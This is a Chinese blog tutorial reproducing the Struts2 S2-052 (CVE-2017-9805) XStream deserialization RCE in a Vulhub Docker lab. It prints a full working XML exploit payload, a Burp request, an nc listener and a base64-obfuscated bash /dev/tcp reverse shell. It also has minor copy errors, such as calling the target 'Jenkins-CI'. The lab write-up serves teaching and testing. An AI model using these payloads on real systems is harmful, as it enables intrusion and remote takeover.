Struts2_S2-052漏洞复现:原理详解+环境搭建+渗透实践(CVE-2017-9805)

目录

一、Struts2_S2-052漏洞

1、漏洞简介

2、漏洞原理

(1)漏洞涉及的关键组件

(2)漏洞触发的核心流程

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

2、下载 Vulhub

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

三、渗透实战

1、访问环境

2、探测环境是否为Struts2框架

3、访问有漏洞的页面并发送poc

(1)编辑订单用户

(2)Burpsuite改包

4、验证攻击效果

四、反弹shell实战

1、攻击机监听

2、目标机建立连接

① 原始命令

② base64编码

③ 攻击目标机

3、反弹shell成功


本文通过vulhub靶场的Struts2_S2-052关卡讲解Struts2_S2-052漏洞原理(CVE-2017-9805)、渗透环境搭建与渗透全流程(包括命令执行、反弹shell)。

一、Struts2_S2-052漏洞

1、漏洞简介

Struts2_S2-052 漏洞是 Apache Struts 2 中的一个严重安全漏洞,漏洞编号为 CVE-2017-9805。

  • 漏洞编号: S2-052 (Struts2 的漏洞编号习惯以 S2 开头)

  • CVE 编号: CVE-2017-9805

  • 漏洞类型: 远程代码执行 (Remote Code Execution, RCE)

  • 危险等级: 严重 (Critical)

  • 受影响版本: Struts 2.5.0 - Struts 2.5.12 的核心版本

  • 漏洞根源: 在使用Struts2 REST插件处理XStream反序列化请求时,未对输入内容进行充分的安全检查和过滤,导致攻击者可以构造恶意的XML payload,在目标服务器上执行任意代码。

2、漏洞原理

Struts2 S2-052(CVE-2017-9805)漏洞的核心原理是XML 反序列化漏洞,其根源在于 Struts2 的 REST 插件对 XML 数据处理时的安全缺陷。

(1)漏洞涉及的关键组件

  • Struts2 REST 插件:用于实现 RESTful 风格的接口,支持 XML、JSON 等数据格式的解析与处理。
  • XStream 库:Struts2 REST 插件默认使用 XStream 作为 XML 数据的反序列化工具,负责将 XML 格式的数据转换为 Java 对象。
  • 反序列化机制:XStream 在反序列化时会根据 XML 内容中的类名和属性,动态创建对应 Java 对象并赋值,这一过程若缺乏安全限制,会被攻击者利用。

(2)漏洞触发的核心流程

当 Struts2 应用启用 REST 插件并处理 XML 格式的请求时,漏洞触发流程如下:

  • 请求接收:服务器接收包含 XML 数据的 POST 请求(通常是对 REST 接口的更新操作,如/orders/1)。
  • XML 解析:REST 插件调用 XStream 将请求体中的 XML 数据反序列化为 Java 对象。
  • 恶意构造的 XML:攻击者在 XML 中嵌入精心设计的恶意类和方法调用逻辑(如ProcessBuilder执行系统命令)。
  • 无限制反序列化:XStream 默认不会对反序列化的类进行过滤,会直接解析并执行 XML 中定义的类实例化和方法调用。
  • 命令执行:恶意 XML 中定义的危险操作(如ProcessBuilder.start())被触发,导致服务器执行攻击者指定的命令。

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现Jenkins-CI漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

cd struts2
cd cd s2-052

4、启动漏洞环境

在struts/S2-052目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。

docker-compose up -d

命令执行后,Docker 会完成拉取一个包含struts2:46.1(受影响版本)的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,如下所示当前运行的容器98e4ef519f08属于 Vulhub 搭建的s2-052漏洞复现环境。

docker ps           
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS         PORTS                                             NAMES
98e4ef519f08   vulhub/struts2:2.5.12-rest-showcase   "catalina.sh run"   16 minutes ago   Up 16 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp         s2-052_struts2_1

  • 容器 ID:98e4ef519f08

  • vulhub/struts2:2.5.12-rest-showcase: 这是它的软件模板(镜像),装的是 Struts2 2.5.12 版本

  • "catalina.sh run": 它里面运行的是 Tomcat 服务器(一个Java网站服务器)。

  • 16分钟前 和 运行了16分钟: 这个服务器是16分钟前开机成功的,并且一直没关。

  • 0.0.0.0:8080->8080/tcp: 

    • 意思: 任何发送至宿主机任何网络接口(无论是IPv4还是IPv6)TCP 8080端口的网络流量,都将被Docker引擎自动转发到该容器内部网络的8080端口。。

    • 怎么访问任何发送到你Kali虚拟机(宿主机)的8080端口的网络流量,都会被Docker自动转发到这个容器内部的8080端口。打开你的浏览器,输入 http://localhost:8080 或者 http://你的Kali-IP地址:8080,就能看到这个网站了。 这就是为什么你能通过 http://<你的Kali-IP>:8080 来访问到容器里的Struts2应用。

  • s2-052_struts2_1: 这是这个“网站服务器”的名字。一看就知道是给S2-052漏洞复现用的。

三、渗透实战

1、访问环境

Docker启动完成后,访问 http://[靶机IP地址]:8080 来查看Struts2界面。以本机为例,ip地址为192.168.59.128,端口号为8080, 故而访问http://192.168.59.128:8080,打开后可以看到网页被重定向到如下页面,说明环境启动成功。

http://192.168.59.128:8080/orders.xhtml

2、探测环境是否为Struts2框架

在上一步的URL中加入一个不存在的路径,具体如下所示。

http://192.168.59.128:8080/mooyuan/orders.xhtml

访问URL后页面报错,报错信息中含有action这样的关键字,即可判断目标服务器使用了Struts2框架。

3、访问有漏洞的页面并发送poc

(1)编辑订单用户

在操作机Firefox浏览器中重新访问如下URL,进入到Struts提供的一个管理“订单(orders)页面,在页面上任意挑选一个用户,对其信息进行编辑。

http://192.168.59.128:8080/orders.xhtml

将此请求包发送至BurpSuite的Repeater标签页下,如下所示。

(2)Burpsuite改包

我们尝试执行一个命令,例如 touch /tmp/mooyuan888如果成功,会在目标服务器的 /tmp 目录下创建一个名为mooyuan888的文件,这是漏洞利用成功的标志。我们先进入容器,查看下/tmp下文件,如下所示不存在mooyuan888这个文件。

在Repeater标签页下,将HTTP请求包的Content-Type字段信息修改为application/xml,并将报文的请求体部分修改为如下的POC,如下所示。

用于执行 touch /tmp/mooyuan888 的完整Payload如下所示。

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <!-- 【修改部分】以下是执行 touch /tmp/mooyuan888 的命令 -->
                      <command>
                        <string>touch</string>
                        <string>/tmp/mooyuan888</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

Burpsuite点击发送,如下所示poc发送成功,服务器响应值为500。

4、验证攻击效果

查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了mooyuan888文件,命令执行成功,说明漏洞复现成功。

四、反弹shell实战

1、攻击机监听

计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。

nc -lvvp 6666
  • nc: 网络瑞士军刀工具(Netcat),用于处理网络连接。

  • -l监听(Listen) 模式,等待别人来连接。

  • -v显示详细信息(Verbose),让你能看到谁连接上了。

  • -p 6666: 在 6666 端口(Port) 上进行监听。

2、目标机建立连接

在目标系统上创建一个反向 shell(反向连接),命令如下所示。它的作用是让当前机器主动连接到攻击者的机器,并提供一个可交互的命令行终端。

① 原始命令
bash -i >& /dev/tcp/192.168.59.128/6666 0>&1
  • bash -i: 启动一个交互式的(interactive)Bash shell。

  • >& /dev/tcp/192.168.59.128/6666:

    • >/dev/tcp/192.168.59.128/6666: Bash 的一个特性,可以建立一个 TCP 连接,连接到 IP 地址为 192.168.59.128 的机器的 6666 端口。

    • >&: 将标准输出(stdout) 和标准错误(stderr) 都重定向到这个 TCP 连接。

  • 0>&1: 将标准输入(stdin) 也重定向到同一个 TCP 连接(即标准输出指向的地方)

整体效果就是让被攻击的服务器主动连接IP为 192.168.59.128 的机器的 6666 端口,并建立一个远程控制会话。具体如下所示。

  • 执行这条命令的服务器(靶机)会主动去连接 192.168.59.128:6666

  • 连接建立后,在这个 Bash 中所有的输入和输出(你打的命令和命令返回的结果)都会通过这个 TCP 连接传输。

  • 在 192.168.59.128 这台机器上监听 6666 端口的人(攻击者),就获得了对方服务器的一个远程命令行控制权。

② base64编码

对命令进行base64编码,使用在线网址https://base64.us/ 即可,编码后内容如下所示。

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=

于是编码后的命令如下所示,目的是绕过某些命令检测机制,最终在目标系统上建立反向连接,让攻击者获得交互式 shell。这种方式通过编码隐藏真实命令。

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
  • echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=:输出一段 Base64 编码的字符串,这段字符串解码后是反向 shell 命令。

    • base64 -d:对前面输出的 Base64 字符串进行解码,得到原始命令bash -i >& /dev/tcp/192.168.59.128/6666 0>&1

    • bash:将解码后的命令传递给 bash 执行,最终效果是让目标主机主动连接 IP 为 192.168.59.128、端口为 6666 的机器,建立交互式 shell,使攻击者获得目标系统的远程控制权限。

  • bash -c "...": 启动一个子Shell,专门用来执行引号 "..." 内的所有内容。

  • {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}

    • 作用: echo 输出后面那串乱码(YmFzaCA...)。

    • 这串乱码: 其实是 bash -i >& /dev/tcp/192.168.59.128/6666 0>&1 这个命令用Base64编码后的样子。编码是为了避免特殊符号引发问题。

  • |{base64,-d}

    • 作用: 拿到上一步的乱码,用 base64 -d 命令把它解码还原成真正的Bash命令。

  • |{bash,-i}

    • 作用: 将解码后得到的原始反弹Shell命令,交给 bash -i(一个交互式Shell)去执行

③ 攻击目标机

根据上一步的webshell反弹的命令,bash -c执行的命令如下所示。

{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}

Payload部分涉及到command的部分如下所示。

 <!-- 【核心修改部分】以下是执行反弹Shell的命令 -->
<next class="java.lang.ProcessBuilder">
  <command>
    <string>bash</string>
    <string>-c</string>
    {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
  </command>
</next>

Burpsuite中发送的完整的Payload如下所示。

POST /orders/3 HTTP/1.1
Host: 192.168.59.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.128:8080/orders/3/edit
Cookie: SESSdaf732d347e53f5b818c9b06ed5fdfaa=f4Ev7Sb2CAXE4LNrc1r1j8AQQEqdi9RwXq5HNvFzAPU; 9d4bb4a09f511681369671a08beff228=ca1ea81b016f1c3e1acc6cfb7a754307; 8bc282e145cce5a71f7c21f5329271be=783de01441bcdeede2f639501a9b86ab; 1378d8dc20af81e1d712b4ab9b354797=c7c4ba5ab447af7a24826c5c1f65f1fe; c18fea62beabbf4e7733d0063d604202=9230c8003e41d776276abafba7d55add; 5c338a28f3b5bc5c6e2c5160fd8f79cf=88494223fb52eb0193360830843c115d; eceaa04465d791e3d92b97fcd15d7abe=9018cfc4136a853aedf79dfec5bd22f6; f51aa12cd3433003d17b1d16853b2642=63171d79eb815ade41a947c7421a4359; JSESSIONID=0087BB636489F2479CC8AEBE3B5D15EA
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 2610

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <!-- 【核心修改部分】以下是执行反弹Shell的命令 -->
                      <command>
                        <string>bash</string>
                        <string>-c</string>
                        <string>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

如下所示,修改完毕后点击发送,出现如下图所示500,表明poc发送成功。

3、反弹shell成功

此时查看kali攻击机的监听,已经成功连接,输入whoami、ip addr返回正确结果,渗透成功​​。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值